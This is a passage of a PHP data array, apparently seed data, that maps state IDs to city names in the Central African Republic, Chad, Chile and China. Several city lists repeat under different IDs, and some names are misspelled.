'690', 'name' => 'bria'],\n ['state_id' => '690', 'name' => 'ouadda'],\n ['state_id' => '691', 'name' => 'dekoa'],\n ['state_id' => '691', 'name' => 'sibut'],\n ['state_id' => '692', 'name' => 'boda'],\n ['state_id' => '692', 'name' => 'mbaiki'],\n ['state_id' => '692', 'name' => 'mongoumba'],\n ['state_id' => '693', 'name' => 'berberati'],\n ['state_id' => '693', 'name' => 'carnot'],\n ['state_id' => '693', 'name' => 'gamboula'],\n ['state_id' => '694', 'name' => 'bangassou'],\n ['state_id' => '694', 'name' => 'gambo'],\n ['state_id' => '694', 'name' => 'ouango'],\n ['state_id' => '694', 'name' => 'rafai'],\n ['state_id' => '695', 'name' => 'kaga-bandoro'],\n ['state_id' => '696', 'name' => 'baboua'],\n ['state_id' => '696', 'name' => 'baoro'],\n ['state_id' => '696', 'name' => 'bouar'],\n ['state_id' => '698', 'name' => 'bambari'],\n ['state_id' => '698', 'name' => 'grimari'],\n ['state_id' => '698', 'name' => 'ippy'],\n ['state_id' => '698', 'name' => 'kouango'],\n ['state_id' => '699', 'name' => 'batangafo'],\n ['state_id' => '699', 'name' => 'bossangoa'],\n ['state_id' => '699', 'name' => 'bouca'],\n ['state_id' => '699', 'name' => 'kabo'],\n ['state_id' => '700', 'name' => 'bocaranga'],\n ['state_id' => '700', 'name' => 'bozoum'],\n ['state_id' => '700', 'name' => 'paoua'],\n ['state_id' => '701', 'name' => 'nola'],\n ['state_id' => '702', 'name' => 'birao'],\n ['state_id' => '703', 'name' => 'ati'],\n ['state_id' => '703', 'name' => 'oum hadjer'],\n ['state_id' => '704', 'name' => 'biltine'],\n ['state_id' => '705', 'name' => 'aouzou'],\n ['state_id' => '705', 'name' => 'bardai'],\n ['state_id' => '705', 'name' => 'fada'],\n ['state_id' => '705', 'name' => 'faya'],\n ['state_id' => '706', 'name' => 'bokoro'],\n ['state_id' => '706', 'name' => 'bousso'],\n ['state_id' => '706', 'name' => 'dourbali'],\n ['state_id' => '706', 'name' => 'massaguet'],\n ['state_id' => '706', 'name' => 'massakory'],\n ['state_id' => '706', 'name' => 'massenya'],\n ['state_id' => '706', 'name' => 'n\\'djamena'],\n ['state_id' => '706', 'name' => 'ngama'],\n ['state_id' => '707', 'name' => 'bitkine'],\n ['state_id' => '707', 'name' => 'melfi'],\n ['state_id' => '707', 'name' => 'mongo'],\n ['state_id' => '708', 'name' => 'mao'],\n ['state_id' => '708', 'name' => 'moussoro'],\n ['state_id' => '708', 'name' => 'rig-rig'],\n ['state_id' => '709', 'name' => 'bol'],\n ['state_id' => '712', 'name' => 'bongor'],\n ['state_id' => '712', 'name' => 'fianga'],\n ['state_id' => '712', 'name' => 'gounou gaya'],\n ['state_id' => '712', 'name' => 'guelengdeng'],\n ['state_id' => '712', 'name' => 'lere'],\n ['state_id' => '712', 'name' => 'pala'],\n ['state_id' => '713', 'name' => 'goundi'],\n ['state_id' => '713', 'name' => 'koumra'],\n ['state_id' => '713', 'name' => 'kyabe'],\n ['state_id' => '713', 'name' => 'moissala'],\n ['state_id' => '713', 'name' => 'sarh'],\n ['state_id' => '714', 'name' => 'abeche'],\n ['state_id' => '714', 'name' => 'adre'],\n ['state_id' => '714', 'name' => 'am dam'],\n ['state_id' => '715', 'name' => 'abou deia'],\n ['state_id' => '715', 'name' => 'am timan'],\n ['state_id' => '715', 'name' => 'mangueigne'],\n ['state_id' => '716', 'name' => 'benoy'],\n ['state_id' => '716', 'name' => 'bere'],\n ['state_id' => '716', 'name' => 'kelo'],\n ['state_id' => '716', 'name' => 'lai'],\n ['state_id' => '717', 'name' => 'aisen'],\n ['state_id' => '717', 'name' => 'chile chico'],\n ['state_id' => '717', 'name' => 'cisnes'],\n ['state_id' => '717', 'name' => 'cochrane'],\n ['state_id' => '717', 'name' => 'coihaique'],\n ['state_id' => '717', 'name' => 'guaitecas'],\n ['state_id' => '717', 'name' => 'lago verde'],\n ['state_id' => '717', 'name' => 'o\\'higgins'],\n ['state_id' => '717', 'name' => 'rio ibanez'],\n ['state_id' => '717', 'name' => 'tortel'],\n ['state_id' => '718', 'name' => 'antofagasta'],\n ['state_id' => '718', 'name' => 'calama'],\n ['state_id' => '718', 'name' => 'maria elena'],\n ['state_id' => '718', 'name' => 'mejilones'],\n ['state_id' => '718', 'name' => 'ollague'],\n ['state_id' => '718', 'name' => 'san pedro de atacama'],\n ['state_id' => '718', 'name' => 'sierra gorda'],\n ['state_id' => '718', 'name' => 'taltal'],\n ['state_id' => '718', 'name' => 'tocopilla'],\n ['state_id' => '719', 'name' => 'angol'],\n ['state_id' => '719', 'name' => 'carahue'],\n ['state_id' => '719', 'name' => 'collipulli'],\n ['state_id' => '719', 'name' => 'cunco'],\n ['state_id' => '719', 'name' => 'curacautin'],\n ['state_id' => '719', 'name' => 'curarrehue'],\n ['state_id' => '719', 'name' => 'ercilla'],\n ['state_id' => '719', 'name' => 'freire'],\n ['state_id' => '719', 'name' => 'galvarino'],\n ['state_id' => '719', 'name' => 'gorbea'],\n ['state_id' => '719', 'name' => 'lautaro'],\n ['state_id' => '719', 'name' => 'loncoche'],\n ['state_id' => '719', 'name' => 'lonquimay'],\n ['state_id' => '719', 'name' => 'los sauces'],\n ['state_id' => '719', 'name' => 'lumaco'],\n ['state_id' => '719', 'name' => 'melipeuco'],\n ['state_id' => '719', 'name' => 'nueva imperial'],\n ['state_id' => '719', 'name' => 'padre las casas'],\n ['state_id' => '719', 'name' => 'perquenco'],\n ['state_id' => '719', 'name' => 'pitrufquen'],\n ['state_id' => '719', 'name' => 'pucon'],\n ['state_id' => '719', 'name' => 'puren'],\n ['state_id' => '719', 'name' => 'renaico'],\n ['state_id' => '719', 'name' => 'saavedra'],\n ['state_id' => '719', 'name' => 'temuco'],\n ['state_id' => '719', 'name' => 'teodoro schmidt'],\n ['state_id' => '719', 'name' => 'tolten'],\n ['state_id' => '719', 'name' => 'traiguen'],\n ['state_id' => '719', 'name' => 'victoria'],\n ['state_id' => '719', 'name' => 'vilcun'],\n ['state_id' => '719', 'name' => 'villarica'],\n ['state_id' => '720', 'name' => 'alto del carmen'],\n ['state_id' => '720', 'name' => 'caldera'],\n ['state_id' => '720', 'name' => 'chanaral'],\n ['state_id' => '720', 'name' => 'copiapo'],\n ['state_id' => '720', 'name' => 'diego de almagro'],\n ['state_id' => '720', 'name' => 'freirina'],\n ['state_id' => '720', 'name' => 'huasco'],\n ['state_id' => '720', 'name' => 'tierra amarilla'],\n ['state_id' => '720', 'name' => 'vallenar'],\n ['state_id' => '722', 'name' => 'andacollo'],\n ['state_id' => '722', 'name' => 'canela'],\n ['state_id' => '722', 'name' => 'combarbala'],\n ['state_id' => '722', 'name' => 'coquimbo'],\n ['state_id' => '722', 'name' => 'illapel'],\n ['state_id' => '722', 'name' => 'la higuera'],\n ['state_id' => '722', 'name' => 'la serena'],\n ['state_id' => '722', 'name' => 'los vilos'],\n ['state_id' => '722', 'name' => 'monte patria'],\n ['state_id' => '722', 'name' => 'ovalle'],\n ['state_id' => '722', 'name' => 'paiguano'],\n ['state_id' => '722', 'name' => 'punitaci'],\n ['state_id' => '722', 'name' => 'rio hurtado'],\n ['state_id' => '722', 'name' => 'salamanca'],\n ['state_id' => '722', 'name' => 'vicuna'],\n ['state_id' => '725', 'name' => 'cabo de horno'],\n ['state_id' => '725', 'name' => 'laguna blanca'],\n ['state_id' => '725', 'name' => 'natales'],\n ['state_id' => '725', 'name' => 'porvenir'],\n ['state_id' => '725', 'name' => 'primavera'],\n ['state_id' => '725', 'name' => 'punta arenas'],\n ['state_id' => '725', 'name' => 'rio verde'],\n ['state_id' => '725', 'name' => 'san gregorio'],\n ['state_id' => '725', 'name' => 'timaukel'],\n ['state_id' => '725', 'name' => 'torres del paine'],\n ['state_id' => '726', 'name' => 'cauquenes'],\n ['state_id' => '726', 'name' => 'chanco'],\n ['state_id' => '726', 'name' => 'colbun'],\n ['state_id' => '726', 'name' => 'constitucion'],\n ['state_id' => '726', 'name' => 'curepto'],\n ['state_id' => '726', 'name' => 'curico'],\n ['state_id' => '726', 'name' => 'empedrado'],\n ['state_id' => '726', 'name' => 'hualane'],\n ['state_id' => '726', 'name' => 'licanten'],\n ['state_id' => '726', 'name' => 'linares'],\n ['state_id' => '726', 'name' => 'longavi'],\n ['state_id' => '726', 'name' => 'maule'],\n ['state_id' => '726', 'name' => 'molina'],\n ['state_id' => '726', 'name' => 'parral'],\n ['state_id' => '726', 'name' => 'pelarco'],\n ['state_id' => '726', 'name' => 'pelluhue'],\n ['state_id' => '726', 'name' => 'pencahue'],\n ['state_id' => '726', 'name' => 'rauco'],\n ['state_id' => '726', 'name' => 'retiro'],\n ['state_id' => '726', 'name' => 'rio claro'],\n ['state_id' => '726', 'name' => 'romeral'],\n ['state_id' => '726', 'name' => 'sagrada familia'],\n ['state_id' => '726', 'name' => 'san clemente'],\n ['state_id' => '726', 'name' => 'san javier'],\n ['state_id' => '726', 'name' => 'san rafael'],\n ['state_id' => '726', 'name' => 'talca'],\n ['state_id' => '726', 'name' => 'teno'],\n ['state_id' => '726', 'name' => 'vichuquen'],\n ['state_id' => '726', 'name' => 'villa alegre'],\n ['state_id' => '726', 'name' => 'yerbas buenas'],\n ['state_id' => '727', 'name' => 'alhue'],\n ['state_id' => '727', 'name' => 'buin'],\n ['state_id' => '727', 'name' => 'calera de tango'],\n ['state_id' => '727', 'name' => 'colina'],\n ['state_id' => '727', 'name' => 'curacavi'],\n ['state_id' => '727', 'name' => 'el monte'],\n ['state_id' => '727', 'name' => 'isla de maipo'],\n ['state_id' => '727', 'name' => 'lampa'],\n ['state_id' => '727', 'name' => 'maria pinto'],\n ['state_id' => '727', 'name' => 'melipilla'],\n ['state_id' => '727', 'name' => 'padre hurtado'],\n ['state_id' => '727', 'name' => 'paine'],\n ['state_id' => '727', 'name' => 'penaflor'],\n ['state_id' => '727', 'name' => 'pirque'],\n ['state_id' => '727', 'name' => 'puente alto'],\n ['state_id' => '727', 'name' => 'quilicura'],\n ['state_id' => '727', 'name' => 'san bernardo'],\n ['state_id' => '727', 'name' => 'san jose de maipo'],\n ['state_id' => '727', 'name' => 'san pedro'],\n ['state_id' => '727', 'name' => 'santiago'],\n ['state_id' => '727', 'name' => 'talagante'],\n ['state_id' => '727', 'name' => 'tiltil'],\n ['state_id' => '728', 'name' => 'alhue'],\n ['state_id' => '728', 'name' => 'buin'],\n ['state_id' => '728', 'name' => 'calera de tango'],\n ['state_id' => '728', 'name' => 'colina'],\n ['state_id' => '728', 'name' => 'curacavi'],\n ['state_id' => '728', 'name' => 'el monte'],\n ['state_id' => '728', 'name' => 'isla de maipo'],\n ['state_id' => '728', 'name' => 'lampa'],\n ['state_id' => '728', 'name' => 'maria pinto'],\n ['state_id' => '728', 'name' => 'melipilla'],\n ['state_id' => '728', 'name' => 'padre hurtado'],\n ['state_id' => '728', 'name' => 'paine'],\n ['state_id' => '728', 'name' => 'penaflor'],\n ['state_id' => '728', 'name' => 'pirque'],\n ['state_id' => '728', 'name' => 'puente alto'],\n ['state_id' => '728', 'name' => 'quilicura'],\n ['state_id' => '728', 'name' => 'san bernardo'],\n ['state_id' => '728', 'name' => 'san jose de maipo'],\n ['state_id' => '728', 'name' => 'san pedro'],\n ['state_id' => '728', 'name' => 'santiago'],\n ['state_id' => '728', 'name' => 'talagante'],\n ['state_id' => '728', 'name' => 'tiltil'],\n ['state_id' => '729', 'name' => 'arica'],\n ['state_id' => '729', 'name' => 'camarones'],\n ['state_id' => '729', 'name' => 'camina'],\n ['state_id' => '729', 'name' => 'colchane'],\n ['state_id' => '729', 'name' => 'general lagos'],\n ['state_id' => '729', 'name' => 'huara'],\n ['state_id' => '729', 'name' => 'iquique'],\n ['state_id' => '729', 'name' => 'pica'],\n ['state_id' => '729', 'name' => 'pozo almonte'],\n ['state_id' => '729', 'name' => 'putre'],\n ['state_id' => '730', 'name' => 'algarrobo'],\n ['state_id' => '730', 'name' => 'cabildo'],\n ['state_id' => '730', 'name' => 'calera'],\n ['state_id' => '730', 'name' => 'calle larga'],\n ['state_id' => '730', 'name' => 'cartagena'],\n ['state_id' => '730', 'name' => 'casablanca'],\n ['state_id' => '730', 'name' => 'catemu'],\n ['state_id' => '730', 'name' => 'concon'],\n ['state_id' => '730', 'name' => 'el quisco'],\n ['state_id' => '730', 'name' => 'el tabo'],\n ['state_id' => '730', 'name' => 'hijuelas'],\n ['state_id' => '730', 'name' => 'la cruz'],\n ['state_id' => '730', 'name' => 'la ligua'],\n ['state_id' => '730', 'name' => 'limache'],\n ['state_id' => '730', 'name' => 'llaillay'],\n ['state_id' => '730', 'name' => 'los andes'],\n ['state_id' => '730', 'name' => 'nogales'],\n ['state_id' => '730', 'name' => 'olmue'],\n ['state_id' => '730', 'name' => 'panquehue'],\n ['state_id' => '730', 'name' => 'papudo'],\n ['state_id' => '730', 'name' => 'petorca'],\n ['state_id' => '730', 'name' => 'puchuncavi'],\n ['state_id' => '730', 'name' => 'putaendeo'],\n ['state_id' => '730', 'name' => 'quillota'],\n ['state_id' => '730', 'name' => 'quilpue'],\n ['state_id' => '730', 'name' => 'quintero'],\n ['state_id' => '730', 'name' => 'rinconada'],\n ['state_id' => '730', 'name' => 'san antonio'],\n ['state_id' => '730', 'name' => 'san esteban'],\n ['state_id' => '730', 'name' => 'san felipe'],\n ['state_id' => '730', 'name' => 'santa maria'],\n ['state_id' => '730', 'name' => 'santo domingo'],\n ['state_id' => '730', 'name' => 'valparaiso'],\n ['state_id' => '730', 'name' => 'villa alemana'],\n ['state_id' => '730', 'name' => 'vina del mar'],\n ['state_id' => '730', 'name' => 'zapallar'],\n ['state_id' => '731', 'name' => 'fengyang'],\n ['state_id' => '731', 'name' => 'guangde'],\n ['state_id' => '731', 'name' => 'liuan'],\n ['state_id' => '731', 'name' => 'ningguo'],\n ['state_id' => '731', 'name' => 'shucheng'],\n ['state_id' => '731', 'name' => 'xinchang'],\n ['state_id' => '731', 'name' => 'xuancheng'],\n ['state_id' => '732', 'name' => 'fengyang'],\n ['state_id' => '732', 'name' => 'guangde'],\n ['state_id' => '732', 'name' => 'liuan'],\n ['state_id' => '732', 'name' => 'ningguo'],\n ['state_id' => '732', 'name' => 'shucheng'],\n ['state_id' => '732', 'name' => 'xinchang'],\n ['state_id' => '732', 'name' => 'xuancheng'],\n ['state_id' => '733', 'name' => 'fengyang'],\n ['state_id' => '733', 'name' => 'guangde'],\n ['state_id' => '733', 'name' => 'liuan'],\n ['state_id' => '733', 'name' => 'ningguo'],\n ['state_id' => '733', 'name' => 'shucheng'],\n ['state_id' => '733', 'name' => 'xinchang'],\n ['state_id' => '733', 'name' => 'xuancheng'],\n ['state_id' => '734', 'name' => 'aomen'],\n ['state_id' => '735', 'name' => 'beijing'],\n ['state_id' => '735', 'name' => 'changping'],\n ['state_id' => '735', 'name' => 'fangshan'],\n ['state_id' => '735', 'name' => 'huangcun'],\n ['state_id' => '735', 'name' => 'liangxiang'],\n ['state_id' => '735', 'name' => 'mentougou'],\n ['state_id' => '735', 'name' => 'shunyi'],\n ['state_id' => '735', 'name' => 'tongzhou'],\n ['state_id' => '736', 'name' => 'beijing'],\n ['state_id' => '736', 'name' => 'changping'],\n ['state_id' => '736', 'name' => 'fangshan'],\n ['state_id' => '736', 'name' => 'huangcun'],\n ['state_id' => '736', 'name' => 'liangxiang'],\n ['state_id' => '736', 'name' => 'mentougou'],\n ['state_id' => '736', 'name' => 'shunyi'],\n ['state_id' => '736', 'name' => 'tongzhou'],\n ['state_id' => '737', 'name' => 'beibei'],\n ['state_id' => '737', 'name' => 'chongqing'],\n ['state_id' => '737', 'name' => 'fuling'],\n ['state_id' => '737', 'name' => 'longhua'],\n ['state_id' => '737', 'name' => 'nantongkuang'],\n ['state_id' => '737', 'name' => 'wanxian'],\n ['state_id' => '737', 'name' => 'xiuma'],\n ['state_id' => '737', 'name' => 'yubei'],\n ['state_id' => '737', 'name' => 'yudong'],\n ['state_id' => '738', 'name' => 'bantou'],\n ['state_id' => '738', 'name' => 'dongshan'],\n ['state_id' => '738', 'name' => 'fuan'],\n ['state_id' => '738', 'name' => 'fujian'],\n ['state_id' => '738', 'name' => 'fuqing'],\n ['state_id' => '738', 'name' => 'fuzhou'],\n ['state_id' => '738', 'name' => 'gantou'],\n ['state_id' => '738', 'name' => 'hanyang'],\n ['state_id' => '738', 'name' => 'jiangkou'],\n ['state_id' => '738', 'name' => 'jiaocheng'],\n ['state_id' => '738', 'name' => 'jinjiang'],\n ['state_id' => '738', 'name' => 'jinshang'],\n ['state_id' => '738', 'name' => 'longhai'],\n ['state_id' => '738', 'name' => 'longyan'],\n ['state_id' => '738', 'name' => 'luoyang'],\n ['state_id' => '738', 'name' => 'nanan'],\n ['state_id' => '738', 'name' => 'nanping'],\n ['state_id' => '738', 'name' => 'nanpu'],\n ['state_id' => '738', 'name' => 'putian'],\n ['state_id' => '738', 'name' => 'qingyang'],\n ['state_id' => '738', 'name' => 'quanzhou'],\n ['state_id' => '738', 'name' => 'rongcheng'],\n ['state_id' => '738', 'name' => 'sanming'],\n ['state_id' => '738', 'name' => 'shaowu'],\n ['state_id' => '738', 'name' => 'shima'],\n ['state_id' => '738', 'name' => 'shishi'],\n ['state_id' => '738', 'name' => 'tantou'],\n ['state_id' => '738', 'name' => 'tongshan'],\n ['state_id' => '738', 'name' => 'xiamen'],\n ['state_id' => '738', 'name' => 'xiapu'],\n ['state_id' => '738', 'name' => 'xiapu ningde'],\n ['state_id' => '738', 'name' => 'ximei'],\n ['state_id' => '738', 'name' => 'yongan'],\n ['state_id' => '738', 'name' => 'zhangzhou'],\n ['state_id' => '738', 'name' => 'zhicheng'],\n ['state_id' => '739', 'name' => 'bantou'],\n ['state_id' => '739', 'name' => 'dongshan'],\n ['state_id' => '739', 'name' => 'fuan'],\n ['state_id' => '739', 'name' => 'fujian'],\n ['state_id' => '739', 'name' => 'fuqing'],\n ['state_id' => '739', 'name' => 'fuzhou'],\n ['state_id' => '739', 'name' => 'gantou'],\n ['state_id' => '739', 'name' => 'hanyang'],\n ['state_id' => '739', 'name' => 'jiangkou'],\n ['state_id' => '739', 'name' => 'jiaocheng'],\n ['state_id' => '739', 'name' => 'jinjiang'],\n ['state_id' => '739', 'name' => 'jinshang'],\n ['state_id' => '739', 'name' => 'longhai'],\n ['state_id' => '739', 'name' => 'longyan'],\n ['state_id' => '739', 'name' => 'luoyang'],\n ['state_id' => '739', 'name' => 'nanan'],\n ['state_id' => '739', 'name' => 'nanping'],\n ['state_id' => '739', 'name' => 'nanpu'],\n ['state_id' => '739', 'name' => 'putian'],\n ['state_id' => '739', 'name' => 'qingyang'],\n ['state_id' => '739', 'name' => 'quanzhou'],\n ['state_id' => '739', 'name' => 'rongcheng'],\n ['state_id' => '739', 'name' => 'sanming'],\n ['state_id' => '739', 'name' => 'shaowu'],\n ['state_id' => '739', 'name' => 'shima'],\n ['state_id' => '739', 'name' => 'shishi'],\n ['state_id' => '739', 'name' => 'tantou'],\n ['state_id' => '739', 'name' => 'tongshan'],\n ['state_id' => '739', 'name' => 'xiamen'],\n ['state_id' => '739', 'name' => 'xiapu'],\n ['state_id' => '739', 'name' => 'xiapu ningde'],\n ['state_id' => '739', 'name' => 'ximei'],\n ['state_id' => '739', 'name' => 'yongan'],\n ['state_id' => '739', 'name' => 'zhangzhou'],\n ['state_id' => '739', 'name' => 'zhicheng'],\n ['state_id' => '740', 'name' => 'baiyin'],\n ['state_id' => '740', 'name' => 'baoji'],\n ['state_id' => '740', 'name' => 'beidao'],\n ['state_id' => '740', 'name' => 'jiayuguan'],\n ['state_id' => '740', 'name' => 'jinchang'],\n ['state_id' => '740', 'name' => 'jiuquan'],\n ['state_id' => '740', 'name' => 'lanzhou'],\n ['state_id' => '740', 'name' => 'linxia'],\n ['state_id' => '740', 'name' => 'pingliang'],\n ['state_id' => '740', 'name' => 'qincheng'],\n ['state_id' => '740', 'name' => 'wuwei'],\n ['state_id' => '740', 'name' => 'yaojie'],\n ['state_id' => '740', 'name' => 'yumen'],\n ['state_id' => '740', 'name' => 'zhangye'],\n ['state_id' => '740', 'name' => 'zhuanglang'],\n ['state_id' => '741', 'name' => 'anbu'],\n ['state_id' => '741', 'name' => 'chaozhou'],\n ['state_id' => '741', 'name' => 'chenghai'],\n ['state_id' => '741', 'name' => 'chuncheng'],\n ['state_id' => '741', 'name' => 'daliang'],\n ['state_id' => '741', 'name' => 'danshui'],\n ['state_id' => '741', 'name' => 'dongguan'],\n ['state_id' => '741', 'name' => 'donghai'],\n ['state_id' => '741', 'name' => 'dongli'],\n ['state_id' => '741', 'name' => 'dongzhen'],\n ['state_id' => '741', 'name' => 'ducheng'],\n ['state_id' => '741', 'name' => 'encheng'],\n ['state_id' => '741', 'name' => 'foahn'],\n ['state_id' => '741', 'name' => 'foshan'],\n ['state_id' => '741', 'name' => 'gaozhou'],\n ['state_id' => '741', 'name' => 'guangdong'],\n ['state_id' => '741', 'name' => 'guangzhou'],\n ['state_id' => '741', 'name' => 'guanjiao'],\n ['state_id' => '741', 'name' => 'haicheng'],\n ['state_id' => '741', 'name' => 'haimen'],\n ['state_id' => '741', 'name' => 'hepo'],\n ['state_id' => '741', 'name' => 'houpu'],\n ['state_id' => '741', 'name' => 'huaicheng'],\n ['state_id' => '741', 'name' => 'huanggang'],\n ['state_id' => '741', 'name' => 'huangpu'],\n ['state_id' => '741', 'name' => 'huazhou'],\n ['state_id' => '741', 'name' => 'huicheng'],\n ['state_id' => '741', 'name' => 'huizhou'],\n ['state_id' => '741', 'name' => 'humen'],\n ['state_id' => '741', 'name' => 'jiangmen'],\n ['state_id' => '741', 'name' => 'jiazi'],\n ['state_id' => '741', 'name' => 'jieshi'],\n ['state_id' => '741', 'name' => 'jieyang'],\n ['state_id' => '741', 'name' => 'lecheng'],\n ['state_id' => '741', 'name' => 'leicheng'],\n ['state_id' => '741', 'name' => 'liancheng'],\n ['state_id' => '741', 'name' => 'lianzhou'],\n ['state_id' => '741', 'name' => 'licheng'],\n ['state_id' => '741', 'name' => 'liusha'],\n ['state_id' => '741', 'name' => 'longgang'],\n ['state_id' => '741', 'name' => 'lubu'],\n ['state_id' => '741', 'name' => 'luocheng'],\n ['state_id' => '741', 'name' => 'luohu'],\n ['state_id' => '741', 'name' => 'luoyang'],\n ['state_id' => '741', 'name' => 'maba'],\n ['state_id' => '741', 'name' => 'maoming'],\n ['state_id' => '741', 'name' => 'mata'],\n ['state_id' => '741', 'name' => 'meilu'],\n ['state_id' => '741', 'name' => 'meizhou'],\n ['state_id' => '741', 'name' => 'mianchang'],\n ['state_id' => '741', 'name' => 'nanfeng'],\n ['state_id' => '741', 'name' => 'nanhai'],\n ['state_id' => '741', 'name' => 'pingshan'],\n ['state_id' => '741', 'name' => 'qingtang'],\n ['state_id' => '741', 'name' => 'qingyuan'],\n ['state_id' => '741', 'name' => 'rongcheng'],\n ['state_id' => '741', 'name' => 'sanbu'],\n ['state_id' => '741', 'name' => 'shantou'],\n ['state_id' => '741', 'name' => 'shanwei'],\n ['state_id' => '741', 'name' => 'shaoguan'],\n ['state_id' => '741', 'name' => 'shaping'],\n ['state_id' => '741', 'name' => 'shenzhen'],\n ['state_id' => '741', 'name' => 'shilong'],\n ['state_id' => '741', 'name' => 'shiqiao'],\n ['state_id' => '741', 'name' => 'shiwan'],\n ['state_id' => '741', 'name' => 'shuizhai'],\n ['state_id' => '741', 'name' => 'shunde'],\n ['state_id' => '741', 'name' => 'suicheng'],\n ['state_id' => '741', 'name' => 'taicheng'],\n ['state_id' => '741', 'name' => 'tangping'],\n ['state_id' => '741', 'name' => 'xiaolan'],\n ['state_id' => '741', 'name' => 'xinan'],\n ['state_id' => '741', 'name' => 'xingcheng'],\n ['state_id' => '741', 'name' => 'xiongzhou'],\n ['state_id' => '741', 'name' => 'xucheng'],\n ['state_id' => '741', 'name' => 'yangjiang'],\n ['state_id' => '741', 'name' => 'yingcheng'],\n ['state_id' => '741', 'name' => 'yuancheng'],\n ['state_id' => '741', 'name' => 'yuncheng'],\n ['state_id' => '741', 'name' => 'yunfu'],\n ['state_id' => '741', 'name' => 'zengcheng'],\n ['state_id' => '741', 'name' => 'zhanjiang'],\n ['state_id' => '741', 'name' => 'zhaoqing'],\n ['state_id' => '741', 'name' => 'zhilong'],\n ['state_id' => '741', 'name' => 'zhongshan'],\n ['state_id' => '741', 'name' => 'zhuhai'],\n ['state_id' => '742', 'name' => 'anbu'],\n ['state_id' => '742', 'name' => 'chaozhou'],\n ['state_id' => '742', 'name' => 'chenghai'],\n ['state_id' => '742', 'name' => 'chuncheng'],\n ['state_id' => '742', 'name' => 'daliang'],\n ['state_id' => '742', 'name' => 'danshui'],\n ['state_id' => '742', 'name' => 'dongguan'],\n ['state_id' => '742', 'name' => 'donghai'],\n ['state_id' => '742', 'name' => 'dongli'],\n ['state_id' => '742', 'name' => 'dongzhen'],\n ['state_id' => '742', 'name' => 'ducheng'],\n ['state_id' => '742', 'name' => 'encheng'],\n ['state_id' => '742', 'name' => 'foahn'],\n ['state_id' => '742', 'name' => 'foshan'],\n ['state_id' => '742', 'name' => 'gaozhou'],\n ['state_id' => '742', 'name' => 'guangdong'],\n ['state_id' => '742', 'name' => 'guangzhou'],\n ['state_id' => '742', 'name' => 'guanjiao'],\n ['state_id' => '742', 'name' => 'haicheng'],\n ['state_id' => '742', 'name' => 'haimen'],\n ['state_id' => '742', 'name' => 'hepo'],\n ['state_id' => '742', 'name' => 'houpu'],\n ['state_id' => '742', 'name' => 'huaicheng'],\n ['state_id' => '742', 'name' => 'huanggang'],\n ['state_id' => '742', 'name' => 'huangpu'],\n ['state_id' => '742', 'name' => 'huazhou'],\n ['state_id' => '742', 'name' => 'huicheng'],\n ['state_id' => '742', 'name' => 'huizhou'],\n ['state_id' => '742', 'name' => 'humen'],\n ['state_id' => '742', 'name' => 'jiangmen'],\n ['state_id' => '742', 'name' => 'jiazi'],\n ['state_id' => '742', 'name' => 'jieshi'],\n ['state_id' => '742', 'name' => 'jieyang'],\n ['state_id' => '742', 'name' => 'lecheng'],\n ['state_id' => '742', 'name' => 'leicheng'],\n ['state_id' => '742', 'name' => 'liancheng'],\n ['state_id' => '742', 'name' => 'lianzhou'],\n ['state_id' => '742', 'name' => 'licheng'],\n ['state_id' => '742', 'name' => 'liusha'],\n ['state_id' => '742', 'name' => 'longgang'],\n ['state_id' => '742', 'name' => 'lubu'],\n ['state_id' => '742', 'name' => 'luocheng'],\n ['state_id' => '742', 'name' => 'luohu'],\n ['state_id' => '742', 'name' => 'luoyang'],\n ['state_id' => '742', 'name' => 'maba'],\n ['state_id' => '742', 'name' => 'maoming'],\n ['state_id' => '742', 'name' => 'mata'],\n ['state_id' => '742', 'name' => 'meilu'],\n ['state_id' => '742', 'name' => 'meizhou'],\n ['state_id' => '742', 'name' => 'mianchang'],\n ['state_id' => '742', 'name' => 'nanfeng'],\n ['state_id' => '742', 'name' => 'nanhai'],\n ['state_id' => '742', 'name' => 'pingshan'],\n ['state_id' => '742', 'name' => 'qingtang'],\n ['state_id' => '742', 'name' => 'qingyuan'],\n ['state_id' => '742', 'name' => 'rongcheng'],\n ['state_id' => '742', 'name' => 'sanbu'],\n ['state_id' => '742', 'name' => 'shantou'],\n ['state_id' => '742', 'name' => 'shanwei'],\n ['state_id' => '742', 'name' => 'shaoguan'],\n ['state_id' => '742', 'name' => 'shaping'],\n ['state_id' => '742', 'name' => 'shenzhen'],\n ['state_id' => '742', 'name' => 'shilong'],\n ['state_id' => '742', 'name' => 'shiqiao'],\n ['state_id' => '742', 'name' => 'shiwan'],\n ['state_id' => '742', 'name' => 'shuizhai'],\n ['state_id' => '742', 'name' => 'shunde'],\n ['state_id' => '742', 'name' => 'suicheng'],\n ['state_id' => '742', 'name' => 'taicheng'],\n ['state_id' => '742', 'name' => 'tangping'],\n ['state_id' => '742', 'name' => 'xiaolan'],\n ['state_id' => '742', 'name' => 'xinan'],\n ['state_id' => '742', 'name' => 'xingcheng'],\n ['state_id' => '742', 'name' => 'xiongzhou'],\n ['state_id' => '742', 'name' => 'xucheng'],\n ['state_id' => '742', 'name' => 'yangjiang'],\n ['state_id' => '742', 'name' => 'yingcheng'],\n ['state_id' => '742', 'name' => 'yuancheng'],\n ['state_id' => '742', 'name' => 'yuncheng'],\n ['state_id' => '742', 'name' => 'yunfu'],\n ['state_id' => '742', 'name' => 'zengcheng'],\n ['state_id' => '742', 'name' => 'zhanjiang'],\n ['state_id' => '742', 'name' => 'zhaoqing'],\n ['state_id' => '742', 'name' => 'zhilong'],\n ['state_id' => '742', 'name' => 'zhongshan'],\n ['state_id' => '742', 'name' => 'zhuhai'],\n ['state_id' => '743', 'name' => 'babu'],\n ['state_id' => '743', 'name' => 'baihe'],\n ['state_id' => '743', 'name' => 'baise'],\n ['state_id' => '743', 'name' => 'beihai'],\n ['state_id' => '743', 'name' => 'binzhou'],\n ['state_id' => '743', 'name' => 'bose'],\n ['state_id' => '743', 'name' => 'fangchenggang'],\n ['state_id' => '743', 'name' => 'guicheng'],\n ['state_id' => '743', 'name' => 'guilin'],\n ['state_id' => '743', 'name' => 'guiping'],\n ['state_id' => '743', 'name' => 'jinchengjiang'],\n ['state_id' => '743', 'name' => 'jinji'],\n ['state_id' => '743', 'name' => 'laibin'],\n ['state_id' => '743', 'name' => 'lianzhou'],\n ['state_id' => '743', 'name' => 'liuzhou'],\n ['state_id' => '743', 'name' => 'luorong'],\n ['state_id' => '743', 'name' => 'matong'],\n ['state_id' => '743', 'name' => 'nandu'],\n ['state_id' => '743', 'name' => 'nanning'],\n ['state_id' => '743', 'name' => 'pingnan'],\n ['state_id' => '743', 'name' => 'pumiao'],\n ['state_id' => '743', 'name' => 